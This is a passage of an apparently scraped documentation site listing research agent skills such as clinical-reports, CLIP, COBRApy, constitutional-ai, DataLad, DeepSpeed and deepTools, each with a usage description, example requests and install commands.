and consistency checks for clinical reports: CARE case reports, radiology… # `clinical-reports` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** clinical reports, CONSORT, case reports, clinical trials, medical writing ## When to use it Generates fail-closed draft JSON templates and runs local deterministic structure and consistency checks for clinical reports: CARE case reports, radiology, pathology and lab scaffolds, CONSORT 2025, SPIRIT 2025, ICH E3 CSRs, aggregate adverse-event tables, provenance manifests, terminology schemas, and de-identification process checklists. Use when drafting a case report for publication from a verified source-fact manifest. Use when checking a trial results manuscript, protocol, or CSR draft against its reporting structure. Use when building an aggregate safety table from synthetic or de-identified data. Use when routing an artifact to the right guideline. Not for diagnosis, treatment advice, individual case safety report creation, or filing and submission. ## Example requests Ask your agent in plain language, for example: * *"Can you check my CONSORT 2025 draft for missing items? It's in results\_manuscript.md."* * *"I have a de-identified case manifest, case\_facts.json, with fact IDs and SHA-256 hashes for a rare cutaneous reaction we want to publish. Please generate a draft case report JSON from it and run the structure check. The patient gave publication consent, and the journal wants CARE."* * *"We have a synthetic dataset of treatment-emergent events by arm for our phase 3 study and need a safety summary table for the CSR appendix. How do we build it so the denominators and counts are traceable?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill clinical-reports # GitHub CLI gh skill install KalarisLabs/research-agent-skills clinical-reports ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [`clinical-decision-support`](/research-agent-skills/skills/clinical-decision-support) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/clinical-reports/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # clip — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/clip OpenAI's model connecting vision and language. Enables zero-shot image classification, image-text matching, and cross-modal retrieval. # `clip` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Multimodal, CLIP, Vision-Language, Zero-Shot, Image Classification, OpenAI, Image Search, Cross-Modal Retrieval, Content Moderation ## When to use it OpenAI's model connecting vision and language. Enables zero-shot image classification, image-text matching, and cross-modal retrieval. Trained on 400M image-text pairs. Use for image search, content moderation, or vision-language tasks without fine-tuning. Best for general-purpose image understanding. ## Example requests Ask your agent in plain language, for example: * *"How do I do zero-shot labeling of a folder of photos with CLIP?"* * *"I have \~40k product photos in /data/catalog/ as JPGs and want a text search box so users can type 'red leather ankle boots' and get the closest images back. I was thinking of ViT-L/14 embeddings stored in FAISS, but my laptop only has 6GB of VRAM and I keep getting CUDA out of memory when I encode in batches of 256. What should I change?"* * *"We're building a moderation pipeline for user-uploaded images on our research forum. We have no labeled data and no budget to train anything. Can we flag violent or explicit images by comparing the pictures against text descriptions of those categories? How would you set it up and how far can we trust it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill clip # GitHub CLI gh skill install KalarisLabs/research-agent-skills clip ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`blip-2-vision-language`](/research-agent-skills/skills/blip-2-vision-language) * [`segment-anything-model`](/research-agent-skills/skills/segment-anything-model) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/clip/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # cobrapy — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/cobrapy Runs constraint-based metabolic modeling with COBRApy (Python, import cobra) on genome-scale models in SBML, JSON, YAML, or MATLAB format. # `cobrapy` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** GPL-2.0 license · **Version:** 1.3 **Tags:** metabolic modeling, flux balance analysis, systems biology, genome-scale models ## When to use it Runs constraint-based metabolic modeling with COBRApy (Python, import cobra) on genome-scale models in SBML, JSON, YAML, or MATLAB format. Covers FBA, pFBA, geometric FBA, FVA, flux sampling, gene and reaction knockouts, production envelopes, growth media, gapfilling, and building models. Use when loading or exporting a genome-scale metabolic model. Use when predicting growth or flux distributions with FBA or FVA. Use when screening gene or reaction knockouts. Use when tuning growth media or exchange constraints. Use when gap-filling an infeasible model or checking model consistency. Not for kinetic or ODE-based simulation of metabolism. ## Example requests Ask your agent in plain language, for example: * *"How do I run FBA on e\_coli\_core and print the growth rate?"* * *"I have iML1515.xml (SBML) for E. coli K-12 MG1655. I need to run a single-gene knockout screen under minimal glucose medium and list which genes are essential, i.e. growth under 1% of wild type. read\_sbml\_model works but my script gives 'infeasible' for the wild type after I changed the medium. What should I do?"* * *"I reconstructed a metabolic network for a new bacterial strain, but it won't grow on any carbon source. I want to figure out which minimal set of reactions from a universal database I could add so that it produces biomass, and check whether the model has blocked reactions or mass-imbalanced ones."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill cobrapy # GitHub CLI gh skill install KalarisLabs/research-agent-skills cobrapy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`13c-metabolic-flux`](/research-agent-skills/skills/13c-metabolic-flux) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/cobrapy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # consciousness-council — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/consciousness-council Run a multi-perspective Mind Council deliberation on any question, decision, or creative challenge. # `consciousness-council` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.0 **Tags:** brainstorming, decision making, multi-perspective analysis, ideation ## When to use it Run a multi-perspective Mind Council deliberation on any question, decision, or creative challenge. Use this skill whenever the user wants diverse viewpoints, needs help making a tough decision, asks for a council/panel/board discussion, wants to explore a problem from multiple angles, requests devil's advocate analysis, or says things like "what would different experts think about this", "help me think through this from all sides", "council mode", "mind council", or "deliberate on this". Also trigger when the user faces a dilemma, trade-off, or complex choice with no obvious answer. ## Example requests Ask your agent in plain language, for example: * *"council mode: should our lab keep maintaining our in-house RNA-seq pipeline or switch to nf-core/rnaseq?"* * *"I'm a postdoc in structural biology at a mid-size university. I have two offers: a tenure-track job at a teaching-focused college with a small cryo-EM facility, or a 3-year extension in my current PI's lab with a Nature-level project (draft in manuscript\_v4.docx) but no guarantee of a faculty job after. My partner's job is in the college's city. I keep going in circles. Can you have a few different expert voices argue this out so I can see the trade-offs?"* * *"We have a grant budget for only one big instrument purchase this year: a single-cell sequencing platform or a high-resolution mass spec. Our group is split and nobody can agree. I want to hear this argued from every angle, including someone who attacks whichever option looks most obvious, before I bring it to the group."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill consciousness-council # GitHub CLI gh skill install KalarisLabs/research-agent-skills consciousness-council ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`dhdna-profiler`](/research-agent-skills/skills/dhdna-profiler) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/consciousness-council/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # constitutional-ai — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/constitutional-ai Anthropic's method for training harmless AI through self-improvement. # `constitutional-ai` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Safety Alignment, Constitutional AI, RLAIF, Self-Critique, Harmlessness, Anthropic, AI Safety, RL From AI Feedback, Claude ## When to use it Anthropic's method for training harmless AI through self-improvement. Two-phase approach - supervised learning with self-critique/revision, then RLAIF (RL from AI Feedback). Use for safety alignment, reducing harmful outputs without human labels. Powers Claude's safety system. ## Example requests Ask your agent in plain language, for example: * *"How do I get a model to critique and revise its own harmful answers?"* * *"I'm training a 7B Llama model with TRL and want to cut harmful outputs without paying for human red-team labels. I've got a 16-principle constitution in constitution.yaml and red-team prompts in redteam.jsonl. Set up the pipeline, including the preference stage, and tell me what GPUs I need. My AI-generated preference labels look noisy between runs."* * *"We want our assistant to follow a written set of ethical principles, and to stop giving evasive non-answers to borderline questions, with an AI model rather than crowd workers providing the training signal. What approach should we use and how do we tune it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill constitutional-ai # GitHub CLI gh skill install KalarisLabs/research-agent-skills constitutional-ai ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/constitutional-ai/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # cover-letter-to-editor — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/cover-letter-to-editor Write journal submission cover letters, presubmission inquiries, transfer requests, and reviewer suggestion or exclusion lists that help a manuscript get past… # `cover-letter-to-editor` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.0 **Tags:** cover letter, journal submission, editor, presubmission inquiry, suggested reviewers, desk rejection ## When to use it Write journal submission cover letters, presubmission inquiries, transfer requests, and reviewer suggestion or exclusion lists that help a manuscript get past editorial triage. Use when submitting a paper to a journal, pitching a manuscript to an editor (presubmission enquiry), transferring after rejection, explaining a resubmission or appeal, or preparing the editor-facing parts of a submission such as the significance pitch, suggested reviewers and conflicts. Not for job or fellowship application letters. ## Example requests Ask your agent in plain language, for example: * *"Write a cover letter submitting our manuscript to Science, with suggested reviewers."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill cover-letter-to-editor # GitHub CLI gh skill install KalarisLabs/research-agent-skills cover-letter-to-editor ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`cell-press`](/research-agent-skills/skills/cell-press) * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`science-aaas`](/research-agent-skills/skills/science-aaas) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/cover-letter-to-editor/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # creative-thinking-for-research — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/creative-thinking-for-research Applies cognitive science frameworks for creative thinking to CS and AI research ideation. # `creative-thinking-for-research` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.0.0 **Tags:** Creative Thinking, Research Ideation, Analogical Reasoning, Problem Reformulation, Cognitive Science ## When to use it Applies cognitive science frameworks for creative thinking to CS and AI research ideation. Use when seeking genuinely novel research directions by leveraging combinatorial creativity, analogical reasoning, constraint manipulation, and other empirically grounded creative strategies. ## Example requests Ask your agent in plain language, for example: * *"Help me come up with a really new research angle on LLM test-time compute. I keep going in circles on the same ideas."* * *"I'm working on KV-cache eviction for long-context transformers (my notes are in kv\_cache\_notes.md). Everything I find is a tweak on H2O or SnapKV. Can you help me find a structurally different idea by borrowing from another field, like immunology or database systems, and tell me how to tell whether the analogy is deep or just a surface metaphor?"* * *"I'm prepping for a lab retreat. I want to list every hidden assumption in how we train vision-language models, including labeled pairs, fixed resolution and benchmark-driven evaluation. Then I want to work out which ones we could drop to open up a new kind of research."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill creative-thinking-for-research # GitHub CLI gh skill install KalarisLabs/research-agent-skills creative-thinking-for-research ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`autoresearch`](/research-agent-skills/skills/autoresearch) * [`brainstorming-research-ideas`](/research-agent-skills/skills/brainstorming-research-ideas) * [`dhdna-profiler`](/research-agent-skills/skills/dhdna-profiler) * [`science-aaas`](/research-agent-skills/skills/science-aaas) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/creative-thinking-for-research/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # crewai-multi-agent — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/crewai-multi-agent Multi-agent orchestration framework for autonomous AI collaboration. # `crewai-multi-agent` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 · **Includes scripts** **Tags:** Agents, CrewAI, Multi-Agent, Orchestration, Collaboration, Role-Based, Autonomous, Workflows, Memory, Production ## When to use it Multi-agent orchestration framework for autonomous AI collaboration. Use when building teams of specialized agents working together on complex tasks, when you need role-based agent collaboration with memory, or for production workflows requiring sequential/hierarchical execution. Built without LangChain dependencies for lean, fast execution. ## Example requests Ask your agent in plain language, for example: * *"Set up a crew with a researcher and a writer agent that hand work off to each other for a lit summary."* * *"I'm on crewai 1.2 and my agents.yaml / tasks.yaml crew for screening \~200 abstracts from abstracts.csv keeps looping on the 'screener' agent until it hits a rate limit error (429 from OpenAI). How do I fix this?"* * *"I want a few specialized AI workers for a systematic review pipeline: one finds papers, one extracts effect sizes, one checks the extracted numbers, and a coordinator that assigns the work and remembers earlier findings between runs. How should I build that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill crewai-multi-agent # GitHub CLI gh skill install KalarisLabs/research-agent-skills crewai-multi-agent ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [`aeon`](/research-agent-skills/skills/aeon) * [`autogpt-agents`](/research-agent-skills/skills/autogpt-agents) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/crewai-multi-agent/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # dask — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/dask Distributed computing for larger-than-RAM pandas/NumPy workflows. Use when you need to scale existing pandas/NumPy code beyond memory or across clusters. # `dask` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** BSD-3-Clause license · **Version:** 1.2 **Tags:** parallel computing, big data, pandas, distributed computing, data science ## When to use it Distributed computing for larger-than-RAM pandas/NumPy workflows. Use when you need to scale existing pandas/NumPy code beyond memory or across clusters. Best for parallel file processing, distributed ML, integration with existing pandas code. For out-of-core analytics on single machine use vaex; for in-memory speed use polars. ## Example requests Ask your agent in plain language, for example: * *"my pandas script keeps getting OOM killed on a 40GB folder of CSVs, how do I make it work without rewriting everything?"* * *"I have \~600 GB of Sentinel-2 derived GeoTIFF stacks converted to Zarr, shape (time, band, y, x). I'm computing per-pixel NDVI percentiles with NumPy on my 64 GB workstation and it crashes with MemoryError. I tried dask.array but the dashboard shows millions of tasks and the scheduler hangs for minutes before anything runs. What should I change?"* * *"I need to run the same preprocessing function on about 5,000 independent log files and some of them depend on the output of others. I'd like to spread this over our 4-node cluster and add new jobs dynamically as results come in. What's a good way to set this up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill dask # GitHub CLI gh skill install KalarisLabs/research-agent-skills dask ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`ray-data`](/research-agent-skills/skills/ray-data) * [`ray-train`](/research-agent-skills/skills/ray-train) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/dask/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # database-lookup — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/database-lookup Query documented public database APIs with explicit endpoints, filters, pagination, and provenance. # `database-lookup` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.6 **Tags:** scientific databases, APIs, data retrieval, reproducibility, provenance ## When to use it Query documented public database APIs with explicit endpoints, filters, pagination, and provenance. Use when a scientific, regulatory, financial, or other database-backed fact must be retrieved reproducibly from a named source rather than inferred from general knowledge. ## Example requests Ask your agent in plain language, for example: * *"Pull all ClinVar pathogenic and likely pathogenic variants for BRCA2 and tell me exactly how you got them."* * *"I'm building Table 2 for our manuscript (supp\_targets.csv has 48 gene symbols). For each gene I need the Ensembl gene ID, the UniProt accession for human, and the max overall Open Targets association score with Parkinson's disease. My GraphQL GET calls keep returning 405 errors. Please fix this and log the queries so a reviewer can rerun them."* * *"What was the US unemployment rate each month in 2023, and I need to cite where the numbers come from so my co-author can re-pull them."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill database-lookup # GitHub CLI gh skill install KalarisLabs/research-agent-skills database-lookup ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`alphagenome`](/research-agent-skills/skills/alphagenome) * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) * [`protocolsio-integration`](/research-agent-skills/skills/protocolsio-integration) * [`folklore-variant-evidence`](/research-agent-skills/skills/folklore-variant-evidence) * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/database-lookup/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # datalad — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/datalad Retrieve, version, and publish scientific datasets with DataLad and git-annex, and capture computational provenance with datalad run, rerun, and… # `datalad` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.0 **Tags:** research data management, data versioning, provenance, reproducibility, open science ## When to use it Retrieve, version, and publish scientific datasets with DataLad and git-annex, and capture computational provenance with datalad run, rerun, and containers-run. Use when cloning or fetching data from OpenNeuro, DANDI, datasets.datalad.org, or any DataLad dataset; when a file in a dataset reads as a broken symlink or a small pointer instead of real data; when an analysis needs a machine-readable record of how each output was produced so it can be re-executed; or when publishing a dataset to siblings such as a GitHub repository plus a storage remote. Also use to decide between DataLad and plain Git for a data-carrying repository. ## Example requests Ask your agent in plain language, for example: * *"I cloned an OpenNeuro dataset and my script says one of the NIfTI files is 'not a gzip file', but ls shows the file is there. What's going on?"* * *"I'm writing up a methods section for a paper. My repo has raw/sub-01\_bold.nii.gz (about 2 GB per subject) and a script code/smooth.py that writes derivatives/sub-01\_smoothed.nii.gz. I want anyone to be able to re-execute that step later and see exactly which inputs and command produced the output. Second runs of my script currently fail with 'Permission denied' on the output file. How should I set this up?"* * *"I've got a 400 GB imaging dataset I want to share with collaborators. The code goes on GitHub, but the data should sit in an S3 bucket. I want people to be able to clone from GitHub and then pull the actual files without anything breaking. How do I publish it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill datalad # GitHub CLI gh skill install KalarisLabs/research-agent-skills datalad ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/datalad/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # datamol — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/datamol Wraps RDKit through the datamol Python library (import datamol as dm) for molecular cheminformatics, returning native rdkit.Chem.Mol objects. # `datamol` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** Apache-2.0 license · **Version:** 1.2 **Tags:** cheminformatics, RDKit, molecules, SMILES, drug discovery ## When to use it Wraps RDKit through the datamol Python library (import datamol as dm) for molecular cheminformatics, returning native rdkit.Chem.Mol objects. Covers SMILES/SELFIES/InChI conversion, sanitization and standardization, descriptors, fingerprints and similarity, Butina clustering and diverse subset picking, Bemis-Murcko scaffolds, BRICS/RECAP fragmentation, 3D conformers, reactions, SDF/CSV/Excel I/O including cloud paths, and parallel batch processing. Use when parsing or standardizing SMILES from external sources, computing descriptors or fingerprints for a compound library, clustering or selecting diverse molecules, making scaffold-based train/test splits, or generating conformers. Use when running a molecule-processing pipeline with n\_jobs. For fine-grained control or custom parameters, use RDKit directly instead. ## Example requests Ask your agent in plain language, for example: * *"How do I get a canonical, standardized SMILES out of a messy list of vendor SMILES using datamol?"* * *"I have vendor\_library.sdf with about 40k compounds and I need to split it into train/test for a QSAR model without scaffold leakage. Then I want 2048-bit ECFP fingerprints for each compound. It's slow, so please use all cores. Can you write the script?"* * *"I've got 5,000 hit compounds from a screen and can only afford to order 96. I want those 96 to cover as much chemical space as possible and not be near-duplicates of each other. How should I pick them?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill datamol # GitHub CLI gh skill install KalarisLabs/research-agent-skills datamol ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [`scikit-learn`](/research-agent-skills/skills/scikit-learn) * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/datamol/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # deepchem — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/deepchem Molecular ML with diverse featurizers and pre-built datasets. # `deepchem` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** MIT · **Version:** 1.5 · **Includes scripts** **Tags:** molecular machine learning, ADMET, property prediction, drug discovery, cheminformatics ## When to use it Molecular ML with diverse featurizers and pre-built datasets. Use for property prediction (ADMET, toxicity) with traditional ML or GNNs when you want extensive featurization options and MoleculeNet benchmarks. Best for quick experiments with pre-trained models, diverse molecular representations. For graph-first PyTorch workflows use torchdrug; for benchmark datasets use pytdc. ## Example requests Ask your agent in plain language, for example: * *"Train a quick solubility model on the Delaney dataset and tell me the test RMSE."* * *"I have compounds.csv with columns 'smiles' and 'herg\_ic50\_class' (about 4,000 rows, heavily imbalanced, \~8% positives). I tried a random 80/20 split and got 0.97 AUC, which seems too good. Can you rebuild this in DeepChem with a proper split and compare ECFP+RF against a GCN? I'm on Python 3.11 and getting 'No module named torch' warnings when I import deepchem."* * *"I want to predict whether small molecules cross the blood-brain barrier, and I'd like to try lots of different ways of turning structures into numeric inputs (fingerprints, descriptors, graph representations) and compare them on a standard benchmark set. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill deepchem # GitHub CLI gh skill install KalarisLabs/research-agent-skills deepchem ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/deepchem/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # deepspeed — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/deepspeed Covers DeepSpeed for distributed deep learning training and I/O: ZeRO optimization stages, pipeline parallelism, FP16/BF16/FP8 training, 1-bit Adam, sparse… # `deepspeed` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** DeepSpeed, Distributed Training, ZeRO, Pipeline Parallelism, Mixed Precision, Optimization, Microsoft, Large-Scale Training, FP16, FP8 ## When to use it Covers DeepSpeed for distributed deep learning training and I/O: ZeRO optimization stages, pipeline parallelism, FP16/BF16/FP8 training, 1-bit Adam, sparse attention, and DeepNVMe (aio\_handle, gds\_handle, async\_io and gds operators, ds\_nvme\_tune, ds\_report) for fast transfers between NVMe storage and host or GPU tensors. Use when configuring ZeRO stages for large-model training, enabling mixed precision or 1-bit Adam, offloading parameters or optimizer state to NVMe with ZeRO-Infinity, writing or reading tensors to files with blocking or non-blocking DeepNVMe calls, or tuning NVMe I/O settings such as block size, queue depth and parallelism. Not for plain PyTorch DistributedDataParallel without DeepSpeed. ## Example requests Ask your agent in plain language, for example: * *"How do I turn on ZeRO stage 3 with CPU offload in my DeepSpeed config?"* * *"I'm fine-tuning a 13B model on 8x A100 with train.py and keep getting CUDA OOM during optimizer step even at stage 2. We have a 3.2TB local NVMe at /local\_nvme. Can I push optimizer states and params there? What should the config look like and how do I know my drive is being used efficiently?"* * *"I need to checkpoint a big CUDA tensor to disk without stalling my training loop, ideally overlapping the write with compute. What's the fastest way using DeepSpeed's I/O tools?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill deepspeed # GitHub CLI gh skill install KalarisLabs/research-agent-skills deepspeed ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`huggingface-accelerate`](/research-agent-skills/skills/huggingface-accelerate) * [`pytorch-lightning`](/research-agent-skills/skills/pytorch-lightning) * [`training-llms-megatron`](/research-agent-skills/skills/training-llms-megatron) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/deepspeed/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # deeptools — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/deeptools Runs deepTools command-line programs on NGS alignment data: bamCoverage and bamCompare for BAM to bigWig/bedGraph with RPGC, CPM, RPKM or BPM normalization… # `deeptools` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD license · **Version:** 1.3 · **Includes scripts** **Tags:** NGS, ChIP-seq, coverage, bigWig, genomics, bioinformatics ## When to use it Runs deepTools command-line programs on NGS alignment data: bamCoverage and bamCompare for BAM to bigWig/bedGraph with RPGC, CPM, RPKM or BPM normalization, multiBamSummary with plotCorrelation and plotPCA, plotFingerprint, computeMatrix with plotHeatmap and plotProfile, and alignmentSieve with --ATACshift. Use when converting BAM files to normalized coverage tracks. Use when checking ChIP-seq quality or comparing replicates. Use when plotting signal around TSS or peak regions. Use when comparing treatment versus control samples. Use when building ChIP-seq, RNA-seq or ATAC-seq coverage workflows. Not for peak calling or differential expression analysis. ## Example requests Ask your agent in plain language, for example: * *"How do I turn my sorted BAM into a bigWig I can load in IGV?"* * *"I have H3K27ac ChIP-seq for mouse (mm10) in treat\_rep1.bam, treat\_rep2.bam and input.bam, all paired-end and indexed. I need a bigWig of treatment over input as log2 ratio, and I want to check that the two replicates agree before I trust it. What commands should I run?"* * *"I've got ATAC-seq alignments for human cells and want accessibility signal shown as a 